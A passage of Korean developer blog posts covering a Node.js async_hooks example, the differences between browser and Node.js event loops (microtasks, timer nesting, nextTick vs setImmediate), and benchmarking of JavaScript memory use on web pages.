const {AsyncResource, executionAsyncId} = require('async_hooks')
logger.clearLog()

class DBQuery extends AsyncResource {
  constructor(query) {
    super('DBQUERY', {
      triggerAsyncId: executionAsyncId(),
      requireManualDestroy: true,
    })
    this.query = query
  }

  executeQuery(callback) {
    this.runInAsyncScope(callback, null)
  }

  destroy() {
    this.emitDestroy()
  }
}

const dbquery = new DBQuery()
dbquery.executeQuery(() => {
  logger.write('query executed!')
})
dbquery.destroy()

// Wait until the resource is manually destroyed
setTimeout(() => {}, 9999999)
```

```bash
$ node --trace-gc custom-async-resource-manual-destroy.js
[12212:0x48c00f0]       30 ms: Scavenge 2.4 (3.0) -> 2.0 (4.0) MB, 0.8 / 0.0 ms  (average mu = 1.000, current mu = 1.000) allocation failure
[12212:0x48c00f0]       48 ms: Scavenge 2.6 (4.3) -> 2.4 (5.3) MB, 0.9 / 0.0 ms  (average mu = 1.000, current mu = 1.000) task
```

```bash
    (asyncId: 2) INIT (DBQUERY) (triggerAsyncId=1) (resource=DBQuery)
    (asyncId: 2) BEFORE
query executed!
    (asyncId: 2) AFTER
    (asyncId: 3) INIT (Timeout) (triggerAsyncId=1) (resource=Timeout)
    (asyncId: 2) DESTROY
```

보이는 것처럼, `destroy` 훅은 `emitDestroy()`가 호출된 직후에 바로 실행되어졌다. 만약 `dbquery.destroy()`를 주석처리 하거나 없앤다면, `destroy` 훅은 객체가 가비지 콜렉팅 되어도 실행되지 않을 것이다.

## 마치며

이 외에도 HTTP request, 파일 시스템 접근, 암호화 작업과 같은 다른 유형의 비동기 작업이 있을 수 있다. 더 많은 예제를 [여기](https://github.com/deepal/async-hooks-demo)에서 살펴보자.

---

Source: https://yceffort.kr/2021/08/browser-nodejs-event-loop.md
Title: 브라우저와 Nodejs의 이벤트 루프는 무엇이 다를까
Description: 인생은 돌고 도는 이벤트 루프
Date: 2021-08-10
Tags: javascript, nodejs, browser

## Table of Contents

## 이벤트 루프는 정확히 무엇인가?

`이벤트 루프` 사실 일반적인 프로그래밍 패턴을 지칭하는 용어다. 프로그래밍의 이벤트나 메시지를 대기하나가 처리하는 일종의 프로그래밍 구조체라고 볼 수 있다. (https://ko.wikipedia.org/wiki/%EC%9D%B4%EB%B2%A4%ED%8A%B8_%EB%A3%A8%ED%94%84) 자바스크립트와 Nodejs의 이벤트 루프도 별반 다르지 않다. 자바스크립트는 애플리케이션이 실행되면 다양한 이벤트를 발생시키고, 이러한 이벤트는 처리를 위해 이벤트 핸들러 형태로 대기열에 존재한다. 이벤트 루프는 대기중인 이벤트 핸들러를 지속적으로 지켜보다가, 이벤트 핸들러가 존재하면 이를 실행한다.

### HTML5 스펙으로 살펴보는 이벤트 루프

[HTML5의 스펙](https://html.spec.whatwg.org/)은 여러 벤더가 브라우저나 자바스크립트 런타임, 또는 기타 관련한 라이브러리를 개발하는데 사용할 수 있는 표준 가이드라인을 제시한다.

대부분의 브라우저와 자바스크립트 런타임은 이러한 가이드라인을 그대로 따르기 때문에 전세계 웹서비스에 더 나은 호환성을 제공한다. 그러나 사실은 이 단일 소스에서 약간씩 벗어나서 흥미로운 (혹은 짜증나는) 결과를 유발하기도 한다.

여기에서는 이러한 흥미로운 결과, 특히 Nodejs와 브라우저와의 차이에 대해서 알아보려고 한다. 개별 브라우저 구현은 언제든 조금씩 변할 수 있으므로, 자세히 알아보지는 않는다.

### 클라이언트 사이드와 서버사이드 자바스크립트

지난 수년간, 자바스크립트는 브라우저에서 실행되는 웹 애플리케이션에서만 사용되어져 왔다. 그리고 이 후 자바스크립트는 nodejs를 사용하여 서버 사이드 애플리케이션을 만드는데에도 사용할 수 있다. 두 곳 모두 자바스크립트를 사용하지만, 클라이언트와 서버사이드에서의 요구사항은 조금씩 다를 수 있다.

브라우저는 일종의 샌드박스 환경이며, 파일 시스템 작업, 네트워크 작업 등 자바스크립트가 수행할 수 있는 작업에 권한 제한이 있다. 그러나 서버사이드 자바스크립트(Nodejs)는 이벤트루프에서 이러한 것들을 모두 실행할 수 있다.

브라우저와 Nodejs 모두 자바스크립트를 사용하여 비동기 이벤트 기반 패턴을 구현한다. 그러나 브라우저의 맥락에서 봤을 때에 "이벤트"란 웹 페이 지 내에서의 상호작용 (클릭, 마우스 이동, 키보드 이벤트 등..)이지만, Nodejs에서의 맥락에서 이벤트란 파일 I/O, 네트워크 I/O 등이다. 이러한 요구 사항의 차이로 인해 크롬과 Node는 자바스크립트 실행을 위해 모두 V8 엔진을 사용하지만, 이벤트 루프 구현에는 차이가 있다.

'이벤트루프'란 결국 프로그래밍 패턴에 불과하기 때문에, V8은 자바스크립트 런타임과 함께 외부 이벤트 루프 구현을 플러그인 해줄 수 있록 해준다. 이러한 유연성을 바탕으로, 크롬 브라우저는 [libevent](https://libevent.org/)를, nodejs는 [libuv](https://blog.insiderattack.net/javascript-event-loop-vs-node-js-event-loop-aea2b1b85f5c#:~:text=and%20NodeJS%20uses-,libuv,-to%20implement%20the)를 각각 이벤트 루프 구현을 위해 사용한다. 그러므로, 자바스크립트와 Nodejs의 이벤트루프는 기본적으로 다른 라이브러리를 사용하여 약간의 차이가 있을 수 있지만, '이벤트루프'라고 하는 일반적인 프로그래밍 패턴을 구현하고 있다는 것에서 비슷하다.

## 브라우저 vs Nodejs 무엇이 다른가?

### 마이크로, 그리고 매크로 태스크

> 간단히말해, 마이크로 태스크와 매크로 태스크는 서로 다른 비동기 태스크 처리기다. 매크로 태스크에 비해 마이크로 태스크의 우선순위가 더 높다. 마이크로 태스크의 예로는 `Promise`가 있다. `setTimeout은 대표적인 매크로 태스크다.

브라우저와 Nodejs에 눈에 띄는 차이점은 **마이크로 태스크와 매크로 태스크의 우선순위를 어떻게 정하느냐** 이다. Nodejs 11 이상에서는 브라우저의 동작과 일치하지만, 이전 버전은 상당히 다르다. 자, 아래 면접 질문으로 나올 것 만 같은 아래 코드르 보자.

> Nodejs 11이전 버전에서 무슨일이 있는지 살펴보려면 https://blog.insiderattack.net/new-changes-to-timers-and-microtasks-from-node-v11-0-0-and-above-68d112743eb3

```javascript
Promise.resolve().then(() => console.log('promise1 resolved'))
Promise.resolve().then(() => console.log('promise2 resolved'))
setTimeout(() => {
  console.log('set timeout3')
  Promise.resolve().then(() => console.log('inner promise3 resolved'))
}, 0)
setTimeout(() => console.log('set timeout1'), 0)
setTimeout(() => console.log('set timeout2'), 0)
Promise.resolve().then(() => console.log('promise4 resolved'))
Promise.resolve().then(() => {
  console.log('promise5 resolved')
  Promise.resolve().then(() => console.log('inner promise6 resolved'))
})
Promise.resolve().then(() => console.log('promise7 resolved'))
```

> `queueMicrotask`를 사용하여 마이크로 태스크를 스케쥴링 할 수도 있다.

브라우저 (크롬, 파이어폭스, 사파리. IE는 브라우저가 아니므로 제외) + Nodejs 11 이상

```bash
promise1 resolved
promise2 resolved
promise4 resolved
promise5 resolved
promise7 resolved
inner promise6 resolved
set timeout3
inner promise3 resolved
set timeout1
set timeout2
```

Nodejs 11 미만

```bash
promise1 resolved
promise2 resolved
promise4 resolved
promise5 resolved
promise7 resolved
inner promise6 resolved
set timeout3
set timeout1
set timeout2
inner promise3 resolved
```

[HTML5 스펙에 정의된 이벤트 루프 가이드라인](https://html.spec.whatwg.org/multipage/webappapis.html#event-loop-processing-model)에 따르면, 이벤트 루프는 매크로 태스큐에서 하나의 매크로 태스크를 처리하기전에 마이크로 태크스에 있는 모든 것을 처리해야 된다. 이 예제에서는, `set timeout3` 콜백이 실행되면, promise 콜백을 예약한다. HTML5의 스펙에 따라서, 타이머 콜백 큐의 다른 콜백을 처리하기전에, 이벤트 루프가 마이크로태스크 큐가 비어있는지 확인해야 한다. 따라서 새로 추가된 promise callback을 실행하고 처리하여야 한다. 이 작업을 처리하면, 비로소 마이크로 태스크 큐가 비어 이벤트 루프가 남은 `setTimeout1` `setTimeout2`을 실행할 수 있게 된다.

그러나 11 버전 이전의 nodejs에서는, 이벤트 루프의 두 사이 단계에서만 마이크로 태스크열을 비우게 된다. 따라서 `inner promise3`은 모든 `setTimeout3`이 실행되기 전까지 실행될 수가 없게 된다.

### 내부 타이머 동작의 차이

타이머 동작은 Nodejs, 브라우저 간 뿐만아니라 브라우저 벤더간, 버전마다 다르다. 여기서 가장 주목할만한 두가지는 timeout이 0일때와, timeout이 중첩되어 있을 때다. 이 러한 두가지 동작의 차이를 알기 위해 Nodejs v10.19.0, v11.0.0, chrome, firefox, safari에서 아래의 코드를 실행해보자. 이 코드는 timeout이 0 인 중첩타이머 8개를 스케쥴링하고, 각 콜백이 스케쥴링 된이후 실행되기까지의 걸린 시간을 계산한다.

```javascript
const startHrTime = () => {
  if (typeof window !== 'undefined') return performance.now()
  return process.hrtime()
}

const getHrTimeDiff = (start) => {
  if (typeof window !== 'undefined') return performance.now() - start
  const [ts, tns] = process.hrtime(start)
  return ts * 1e3 + tns / 1e6
}

console.log('start')
const start1 = startHrTime()
const outerTimer = setTimeout(() => {
  const start2 = startHrTime()
  console.log(`timer1: ${getHrTimeDiff(start1)}`)
  setTimeout(() => {
    const start3 = startHrTime()
    console.log(`timer2: ${getHrTimeDiff(start2)}`)
    setTimeout(() => {
      const start4 = startHrTime()
      console.log(`timer3: ${getHrTimeDiff(start3)}`)
      setTimeout(() => {
        const start5 = startHrTime()
        console.log(`timer4: ${getHrTimeDiff(start4)}`)
        setTimeout(() => {
          const start6 = startHrTime()
          console.log(`timer5: ${getHrTimeDiff(start5)}`)
          setTimeout(() => {
            const start7 = startHrTime()
            console.log(`timer6: ${getHrTimeDiff(start6)}`)
            setTimeout(() => {
              const start8 = startHrTime()
              console.log(`timer7: ${getHrTimeDiff(start7)}`)
              setTimeout(() => {
                console.log(`timer8: ${getHrTimeDiff(start8)}`)
              })
            })
          })
        })
      })
    })
  })
})
```

`node 10.1.0`

```bash
timer1: 0.650208
timer2: 1.617334
timer3: 1.456791
timer4: 1.417208
timer5: 1.38725
timer6: 1.379334
timer7: 1.374334
timer8: 1.377042
```

`node 14.17.1`

```bash
timer1: 0.990541
timer2: 1.715584
timer3: 1.872625
timer4: 1.55775
timer5: 1.509125
timer6: 1.48125
timer7: 1.474916
timer8: 1.4655
```

`chrome`

```bash
timer1: 1.5999999940395355
timer2: 1.399999976158142
timer3: 1.5
timer4: 1.4000000059604645
timer5: 5.300000011920929 # 4번째 타이머 부터 4ms 이후에 실행됨
timer6: 5.199999988079071
timer7: 4.9000000059604645
timer8: 5.300000011920929
```

`safari`

```bash
timer1: 1
timer2: 1.0000000000004547
timer3: 1.9999999999995453
timer4: 1
timer5: 1.0000000000004547
timer6: 4.999999999999545
timer7: 4
timer8: 5
```

`firefox`

```bash
timer1: 0
timer2: 0
timer3: 0
timer4: 1
timer5: 5
timer6: 6
timer7: 5
timer8: 5
```

살펴본 결과 아래 몇가지 사실을 알 수 있었다.

- 0으로 설정하더라도, Nodejs 타이머는 최소 1ms이후에 실행된다.
- 크롬과 파이어폭스는 처음 4개의 타이머가 1ms 언저리에 실행되었지만, 그 후에는 4ms 이후에 실행되었다.
- 사파리는 크롬/파이어폭스와 비슷하지만, 6번째 타이머부터 4ms 이후에 실행된다.

브라우저에서오는 4ms 의 시간차이는 어디서 만들어진걸까? 이는 앞서 언급했던 [HTML5 스펙](https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#timers)에 기재되어 있다.

> Timers can be nested; after five such nested timers, however, the interval is forced to be at least four milliseconds.

이 규칙에 따르면, 크롬과 파이어폭스는 기재된 스펙에 맞게 5번째 부터 발생했지만, 사파리는 규칙을 제대로 따르고 있지 않는 것 같다.

브라우저는 잠시 뒤로하고, node는 중첩에 따라 시간 제한을 별도로 두지 않아도 된다는 것을 알 수 있다.

### Nodejs와 Chrome의 최소 타임아웃 시간

NodeJs와 크롬 모두 중첩되지 않은 경우라 할지라도 모든 타이머에 최소 1ms의 시간 지연이 발생한다. 그러나 크롬과 다르게 nodejs는 중첩수준에 상관없이 꾸준히 1ms내외로만 적용된다. 아래 코드를 살펴보면, 모든 타이머에 1ms의 시간이 왜 nodjs에서 적용되는지 알 수 있다.

```javascript
function Timeout(callback, after, args, isRepeat, isRefed) {
  after *= 1 // Coalesce to number or NaN
  if (!(after >= 1 && after <= TIMEOUT_MAX)) {
    if (after > TIMEOUT_MAX) {
      process.emitWarning(
        `${after} does not fit into` +
          ' a 32-bit signed integer.' +
          '\nTimeout duration was set to 1.',
        'TimeoutOverflowWarning',
      )
    }
    after = 1 // Schedule on next tick, follows browser behavior
  }

  // ....redacted
}
```

크롬도 위와 비슷한 작업을 `DOMTimer`에서 한다. 그리고, `maxTimerNestingLevel`에 다다르면 4ms가 적용되는 것도 알 수 있다.

```cpp
DOMTimer::DOMTimer(ExecutionContext* context, PassOwnPtrWillBeRawPtr<ScheduledAction> action, int interval, bool singleShot, int timeoutID)
    : SuspendableTimer(context)
    , m_timeoutID(timeoutID)
    , m_nestingLevel(context->timers()->timerNestingLevel() + 1)
    , m_action(action)
{
    // ... redacted ...
    double intervalMilliseconds = std::max(oneMillisecond, interval * oneMillisecond);
    if (intervalMilliseconds < minimumInterval && m_nestingLevel >= maxTimerNestingLevel)
        intervalMilliseconds = minimumInterval;
    if (singleShot)
        startOneShot(intervalMilliseconds, FROM_HERE);
    else
        startRepeating(intervalMilliseconds, FROM_HERE);
}
```

위에서 알 수 있듯, 자바스크립트 런타임에는 타이머와 중첩된 타이머가 0으로 설정되었을 때 실행되는 방법에 대한 독특한 구현이 있다. 따라서 자바스크립트 애플리케이션이나 라이브러리를 개발 할 때, 호환성을 높이기 위해 런타임 별 동작에 크게 의존하지 않는 것이 좋다.

### `process.nextTick`, `setImmediate`

또다른 브라우저와 nodejs의 차이점은 `process.nextTick`과 `setImmediate`이다.

`process.nextTick`은 NodeJS에만 있는 api이며 브라우저에는 이와 비슷한 동작을 하는 api는 없다. `nextTick`이 nodejs의 libuv 이벤트 루프의 일부는 아니지만, `nextTick`은 이벤트 루프 동안 nodejs가 C++과 JS 경계를 넘어가는 과정에서 실행된다. 그래서, 어떤 측면에서는 이벤트 루프와 관련있다고 볼 수도 있다.

`setImmediate`또한 Nodejs 전용 api다. [MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/setImmediate)과 [caniuse.com](https://caniuse.com/?search=setImmediate)에 따르면, 놀랍게도 IE10, 11, 그리고 초기 엣지 버전에서 사용이 가능한 api다. 그외에 다른 브라우저 에서는 사용이 불가능하다.

둘의 차이를 알기 위해서는, 이벤트 루프의 과정에 대해 알필요가 있다.

![pahse of event loop](https://jinoantony.com/static/624c9768d8888b109a4649298c0cb091/29492/event-loop.png)

1. Timer: `setTimeout`의 시간이 다된 타이머, `setInterval`로 추가된 인터벌 함수가 실행됨
2. Pending Callback: 다음 루프로 지연된 I/O 콜백을 실행
3. Idle handler: 내부적으로 사용되는 libuv 내부 작업을 수행
4. Prepare Handler: 내부적으로 사용되는 I/O를 폴링하기전에 몇가지 사전작업 수행
5. I/O poll: 새 I/O 이벤트를 검색하고, I/O 관련 콜백을 실행
6. Check Handler: `setImmediate`가 실행
7. Close callback: 클로즈 핸들러 실행

`setImmediate()`

```javascript
console.log('Start')
setImmediate(() => console.log('Queued using setImmediate'))
console.log('End')
```

```bash
Start
End
Queued using setImmediate
```

`setImmediate()`는 callback을 인수로 받으며, 이를 이벤트 큐에 추가한다. (immediate queue) 위에서 언급했듯, `setImmediate()`는 `Check Handler`과정에서 수행된다.

`process.nextTick()`

```javascript
console.log('Start')
process.nextTick(() => console.log('Queued using process.nextTick'))
console.log('End')
```

```bash
Start
End
Queued using process.nextTick
```

마찬가지로 callback을 인수로 받지만, `next tick` 큐라고 하는 별도의 큐에 추가한다. 이 `process.nextTick()`로 넘겨받은 callback은 현재 phase가 넘어간 이후에 실행된다. 즉, 이벤트 루프의 각 단계가 넘어갈 때마다 실행된다.

따라서, 차이점을 정리하자면

1. `setTimeout`은 Check handler과정에서 실행되지만, `process.nextTick`은 이벤트 루프의 각 단계 사이에서 실행된다.
2. 1번에 의거하여, `process.nextTick`의 우선순위가 더 높다. (= 먼저 실행된다.)

   ```javascript
   setImmediate(() => console.log('I run immediately'))

   process.nextTick(() => console.log('But I run before that'))
   ```

   ```bash
   But I run before that
   I run immediately
   ```

3. 만약 특정 단계에서 `process.nextTick()`이 호출되면, 이벤트루프를 계속하기전에 모든 콜백이 전달된다. `process.nextTick`이 재귀적으로 호출되면, 이벤트루프가 차단되고 `I/O Starvation`이 생성된다. 아래 예제 코드를 실행해보면, `setImmediate`나 `setTimeout`이 실행되지 않고 `process.nextTick`만 계속 도는 것을 알 수 있다.

   ```javascript
   let count = 0

   const cb = () => {
     console.log(`Processing nextTick cb ${++count}`)
     process.nextTick(cb)
   }

   setImmediate(() => console.log('setImmediate is called'))
   setTimeout(() => console.log('setTimeout executed'), 100)

   process.nextTick(cb)

   console.log('Start')
   ```

   ```bash
   Start
   Processing nextTick cb 1
   Processing nextTick cb 2
   Processing nextTick cb 3
   Processing nextTick cb 4
   Processing nextTick cb 5
   Processing nextTick cb 6
   Processing nextTick cb 7
   Processing nextTick cb 8
   Processing nextTick cb 9
   Processing nextTick cb 10
   # 무한히 안끝나고 nextTick만 계속 돈다
   ```

4. `process.nextTick`과는 다르게, 재귀적으로 `setImmediate`를 호출하면 이벤트루프를 블로킹하지 않는다. 모든 재귀 호출은 다음 이벤트 루프에서 실행된다. 아래 코드를 보면, `setImmediate`가 재귀적으로 호출되지만 이벤트 루프를 블로킹하지 않아 간간히 `setTimeout`이 호출되는 것을 알 수 있다.

   ```javascript
   let count = 0

   const cb = () => {
     console.log(`Processing setImmediate cb ${++count}`)
     setImmediate(cb)
   }

   setImmediate(cb)
   setTimeout(() => console.log('setTimeout executed'), 100)

   console.log('Start')
   ```

   ```bash
   Start
   Processing setImmediate cb 1
   Processing setImmediate cb 2
   Processing setImmediate cb 3
   Processing setImmediate cb 4
   ...
   Processing setImmediate cb 503
   Processing setImmediate cb 504
   setTimeout executed
   Processing setImmediate cb 505
   Processing setImmediate cb 506
   ...
   ```

그럼 각각 언제 써야할까? 문서에 따르면 왠만하면 `setImmediate()`를 사용하라고 되어 있다.

> We recommend developers use setImmediate() in all cases because it's easier to reason about.

그렇다면, `process.nextTick`은 언제 사용하는게 좋을까? 아래 코드를 살펴보자.

```javascript
function readFile(fileName, callback) {
  if (typeof fileName !== 'string') {
    return callback(new TypeError('file name should be string'))
  }

  fs.readFile(fileName, (err, data) => {
    if (err) return callback(err)

    return callback(null, data)
  })
}
```

`readFile()` 함수는 인수가 넘어오는 것에 따라서 동기도 비동기도 될 수 있다. 따라서 이는 예측하지 못한 문제가 발생할 수 있다. 그렇다면 어떻게 100% 비동기로 동작하게 할 수 있을까?

```javascript
function readFile(fileName, callback) {
  if (typeof fileName !== 'string') {
    return process.nextTick(
      callback,
      new TypeError('file name should be string'),
    )
  }

  fs.readFile(fileName, (err, data) => {
    if (err) return callback(err)

    return callback(null, data)
  })
}
```

바로 `process.nextTick`을 사용하면 된다. `filename`이 string이 아니면 `process.nextTick`을 활용하여 적절하게 콜백을 수행할 것이다. 이처럼 `process.nextTick`는 스크립트를 실행한 직후 즉시 콜백을 실행해야 하는 여러 상황에서 유용하다.

---

Source: https://yceffort.kr/2021/08/benchmarking-web-javascript-memory-usage.md
Title: 웹 페이지에서의 자바스크립트 메모리 사용량 벤치마킹
Description: 분석할 때 마다 한숨이 나오는 그것
Date: 2021-08-07
Tags: web-performance, javascript, browser

메모리 사용량 분석은 웹과 관련된 이야기를 나눌 때 가장 어려운 주제 중 하나다.

사실 지금까지 실제 환경에서 페이지가 얼마나 많은 메모리를 사용하는지 정확하게 파악할 방법이 없었다. 즉, 메모리 사용량과 사용자 간의 상관관계를 끌어내 줄만한 적절한 지표가 존재하지 않았었다. 그래서 지금까지 메모리가 얼마나 문제가 되고 있는지 정확하게 알지 못했다.

웹 페이지의 메모리 사용량이 비즈니스에 미치는 영향에 대한 데이터도 없고, 벤치마킹을 위한 데이터도 없기 때문에 웹 개발 커뮤니티에서 메모리에 대한 관심이 별로 없었다. 또한 브라우저는 메모리와 관련된 지표를 측정할 인센티브가 별로 없었다.

닭이 먼저일까, 달걀이 먼저일까. 더 나은 툴이 없어서 분석을 안하는 걸까, 아님 분석을 할만한 유인이 없어서 안하는 걸까.🤔

먼저, 메모리 사용량이 비즈니스에 미치는 영향력을 잘 알지 못하기 때문에, 수많은 개별 사이트에서 먼저 메모리에 데이터가 어떻게 쌓이는지 추적을 하는 작업을 해야 한다.

## measureUserAgentSpecificMemory

크롬은 [measureUserAgentSpecificMemory](https://web.dev/monitor-total-page-memory-usage/)라는 Performance Observer를 도입하여, 메모리 관련 정보를 수집하기 위한 API를 추가했다. `measureUserAgentSpecificMemory`는 자바스크립트와 DOM element와 관련된 메모리에 대해, 페이지가 현재 얼마나 사용하고 있는지 바이트 수에 대한 분석을 수행한다.

v8팀에 따르면, 웹 메모리의 35%는 자바스크립트, 10%는 DOM 을 그리기 위해 사용된다. 나머지 55%는 이미지, 브라우저 기능 및, 저장과 관련된 기능에서 사용된다. 이 API의 사용처가 자바스크립트와 DOM에 한정되어 있긴 하지만, 실제 페이지 메모리 사용량의 상당량 (45%)이 이 두개의 의해 사용되고 있다.

이 API를 사용하면, 다음과 같은 결과를 얻을 수 있게 된다.

```json
// Console output:
{
  bytes: 60_000_000,
  breakdown: [
    {
      bytes: 40_000_000,
      attribution: [
        {
          url: "https://foo.com",
          scope: "Window",
        },
      ]
      types: ["JS"]
    },
    {
      bytes: 0,
      attribution: [],
      types: []
    },
    {
      bytes: 20_000_000,
      attribution: [
        {
          url: "https://foo.com/iframe",
          container: {
            id: "iframe-id-attribute",
            src: "redirect.html?target=iframe.html",
          },
        },
      ],
      types: ["JS"]
    },
  ]
}
```

최상단에는 자바스크립트와 DOM이 얼마나 메모리를 쓰고 있는지를 나타내는 `bytes`가 있고, `breakdown`을 살펴보면 실제로 얼마나 사용하고 있는지를 알 수 있다. 이 정보를 통해 페이지의 총 자바스크립트 및, DOM관련 메모리 사용량을 확인할 수 있을 뿐만 아니라, 다른 frame에서 사용하고 있는 메모리도 비교 분석할 수 있다.

## 테스트 준비하기

`measureUserAgentSpecificMemory`는 `Promise`기반이기 때문에, 결과를 꽤 명확하게 알 수 있다.

```javascript
if (performance.measureUserAgentSpecificMemory) {
  let result
  try {
    result = await performance.measureUserAgentSpecificMemory()
  } catch (error) {
    if (error instanceof DOMException && error.name === 'SecurityError') {
      console.log('The context is not secure.')
    } else {
      throw error
    }
  }
  console.log(result)
}
```

안타깝게도, 이 코드는 보안상의 문제로 인해 프로덕션에서 사용하는 것은 어렵다. 프로덕션에서 측정하기 위해서는, chrome에 `--disable-web-security` 와 `--no-site-isolation`플래그를 전달해야 한다.

```javascript
return new Promise((resolve) => {
  performance.measureUserAgentSpecificMemory().then((value) => {
    resolve(JSON.stringify(value))
  })
})
```

이 코드는 `measureUserAgentSpecificMemory`가 결과를 리턴할 때 까지 기다린 다음, (약 20초 정도) 전체 결과를 가져와 json으로 resolve한다.

몇 가지 벤치마크 정보를 가져오기 위해, 해당 지표와 chrome 플래그를 사용하여 테스트 한다음, 데스크톱 chrome 사용자 환경 보고서 인기 순위를 기준으로 한 top 1000개의 사이트를 기준으로 에뮬레이트된 Moto G4에서 테스트를 수행했다.

https://blog.webpagetest.org/posts/benchmarking-javascript-memory-usage/

## 얼마나 많은 메모리가 사용되고 있는가?

|     | 데스크톱 메모리 사용량 (kb) | 모바일 메모리 사용량 (kb) |
| :-: | :-------------------------: | :-----------------------: |
| 10% |          2,391.7kb          |         2,368.5kb         |
| 25% |          4,949.4kb          |         4,784.3kb         |
| 50% |         10,236.6kb          |         9,848.3kb         |
| 75% |         19,874.3kb          |        19,033.0kb         |
| 90% |         31,814.5kb          |        29,064.5kb         |
| 95% |         40,477.2kb          |        37,546.1kb         |

대충 살펴보니, 중간값은 10MB정도를 사용했고, 75% 까지 정도만 가더라도 19.4mb까지 상승한다. 마지막 99%는, 조금 무서운 수치다.

앞선 맥락에서 설명을 이어가자면, 이 chrome 분석은 자바스크립트와 DOM에 국한되어 있으므로 45% 정도만을 차지하고 있다. 따라서 보통 웹 페이지가 22mb 정도의 메모리를 차지한다는 것을 알 수 있고, 최악의 경우에는 80MB까지도 차지할 수 있다. 이는 애플리케이션 창 내에 있는 단일 페이지의 메모리이다.

물론, 이 웹페이지가 무슨일을 하는지에 대한 이해가 없다면, 이게 많은 양을 차지하고 있다고 단정하기는 어렵다.

애초에 자바스크립트 관련 작업에 사용할 수 있는 메모리가 얼마나 되는지 조차도 불분명하다. 레거시 API (`performance.memory`)는 렌더러가 사용할 수 있는 자바스크립트 힙의 최대크기인 `jsHeapSizeLimit`을 제공하지만, 이러한 값은 브라우저마다 다르고 제대로 설정되어 있지 않기 때문에 이 값에 의존할 수는 없다.

그러나, 테스트한 결과를 대략적인 벤치마크로 사용할 수는 있다. 구글이 코어 웹 바이탈을 중심으로 정량화한 수치를 보면 아래와 같다.

|          |     데스크톱      |      모바일       |
| :------- | :---------------: | :---------------: |
| 좋음     |     `< 4.8mb`     |     `<4.7 mb`     |
| 개선필요 | `4.8mb <> 19.4mb` | `4.7mb <> 18.6mb` |
| 나쁨     |     `>19.4mb`     |     `>18.6mb`     |

## 메모리와 다른 성능 지표간의 관계

앞서 이야기 했듯, 프로덕션 환경에서 메모리를 측정하는 것은 어려운 일이다. 데이터를 수집하기 위해서는 많은 보안 메커니즘이 필요하다. 이는 모든 사이트에서 의미있는 데이터를 얻기는 힘들다는 것을 의미한다. 성능 데이터를 비즈니스 및 전체 사용자 경험에서 미치는 영향간의 맥락에서 보는 것은 매우 어렵다.

대신 메모리 사용량이 다른 성능 지표와 어떤 상관관계가 있는지 확인해보는 것은 어떨까? 메모리가 자바스크립트와 DOM에 한정되어 있는 만큼, 페인트 관련 지표와 같은 전통적인 지표사이에 상관관계를 볼 수 있을 것이다. (1과 가까울 수록 메모리 사용량과 관계가 높다)

| 지표                     | 데스크톱 상관계수 | 모바일 상관계수 |
| :----------------------- | :---------------: | :-------------: |
| 렌더 시작                |       .073        |      .097       |
| Largest Contentful Paint |       .168        |      .218       |
| Total Blocking Time      |       .663        |      .709       |
| Load Time                |       .365        |      .463       |
| 자바스크립트 바이트      |       .758        |      .769       |
| Dom Elements             |       .216        |      .234       |

자바스브립트를 많이 전송한다면, 결과적으로 많은 메모리를 사용하게 될 것이다. 또한 TBT(Total Blocking Time)이 길어지면, 많은 양의 자바스크립트 관련 메모리를 사용할 가능성이 높다.

![JS+DOM 관련 메모리 사용량](https://res.cloudinary.com/psaulitis/image/upload/f_auto,q_auto,w_1800/js_mem_usage_attribution.png)

## 프레임워크 별 메모리 사용량은 어떨까?

인기있는 유명한 프레임워크가 사용될 때, 메모리 사용량이 어떻게 될까? 여기서 주의사항은 메모리가 프레임워크 자체를 위한 모든 것이 아니라는 것이다. 여기에는 훨씬 더 많은 변수가 있다. 많은 프레임워크가 자체적으로 가상 DOM을 유지하므로 신중하게 살펴봐야 한다. 가상 DOM은 실제 DOM과 동기화하여 변경사항을 처리하는데 사용되는 일종의 메모리를 표현하는 인터페이스다.

따라서 자연스럽게 이 개념을 사용하는 프레임워크가 구축되면 메모리 사용량도 높아질 것이다.

![JS+DOM 과 프레임워크 간의 관계](https://res.cloudinary.com/psaulitis/image/upload/f_auto,q_auto,w_1800/js-mem-usage-framework.png)

이 그래프를 봤을 때, 리액트가 메모리에 해롭다고 즉시 판단해 버릴 수 있는 위험이 존재한다. 메모리 사용량은 자바스크립트의 크기와 관계가 있고, 프레임워크를 사용하는 사이트가 자바스크립트 사이즈도 크다는 것을 우리는 모두 알고 있다. 따라서 메모리 사용량이 급격하게 증가하는 것은, 프레임워크가 비효율적이라는 게 아니고 리액트 사이트에서 코드를 많이 전송하는 경향이 있기 때문일 수도 있다.

프레임워크의 실제 메모리 효율성에 초점을 맞추는 것은 많은 노이즈가 존재할 수 있기 때문에 조금 어렵다. 메모리 효율성을 대략적으로 보여줄 수 있는 한가지 지표는 자바스크립트 바이트 대비 메모리 바이트 비율을 살펴보는 것이다. DOM은 메모리 사용량에 영향을 미치지만, DOM과 메모리 사용량의 약한 상관관계, 그리고 자바스크립트 바이트와 메모리 사용량간의 높은 상관관계를 고려할 때, 대략적이지만 유용한 벤치마크를 얻을 수도 있다. 비율이 낮을 수록 효율적이다. 즉, 자바스크립트 바이트당 메모리 바이트의 크기가 작다.

| 프레임워크 | 자바스크립트 크기 대비 메모리 비율 |
| :--------- | :--------------------------------: |
| 평균       |                5.3                 |
| Vue        |                5.4                 |
| React      |                4.7                 |
| jQuery     |                5.5                 |
| Angular    |                4.9                 |

앞서 리액트에 대해 실망아닌 실망을 했다면(?) 이 결과는 놀랍다. 다른 프레임워크 대비 리액트의 비율이 낮은 것으로 나타났다. 물론 리액트는 Angular를 제외한 다른 프레임워크 대비 훨씬 더 많은 자바스크립트가 만들어져서 메모리 사용량이 커질 위험성이 존재한다. 항상 그렇듯이, 중요한 것은 무슨 프레임워크를 쓰던지 간에 자바스크립트의 총량을 적게 유지해야 한다.

여기에는 또다른 큰 주의사항이 있다. 이 데이터는 초기 페이지 로드에 따른 메모리 사용량이다. 이 자체로도 흥미롭지만, 잠재적인 메모리 누수에 대해서는 알 수가 없다. 메모리 누수는 SPA에서 매우 흔하다. 이는 다른 글에서 다뤄야 한다.

## 마치며

메모리는 여전히 웹 성능을 분석하는 데 있어 미지의 영역이지만, 이는 바뀔 필요가 있다. 계속해서 자바스크립트의 크기가 증가함에 따라, 메모리 사용량도 커질 수 있다.

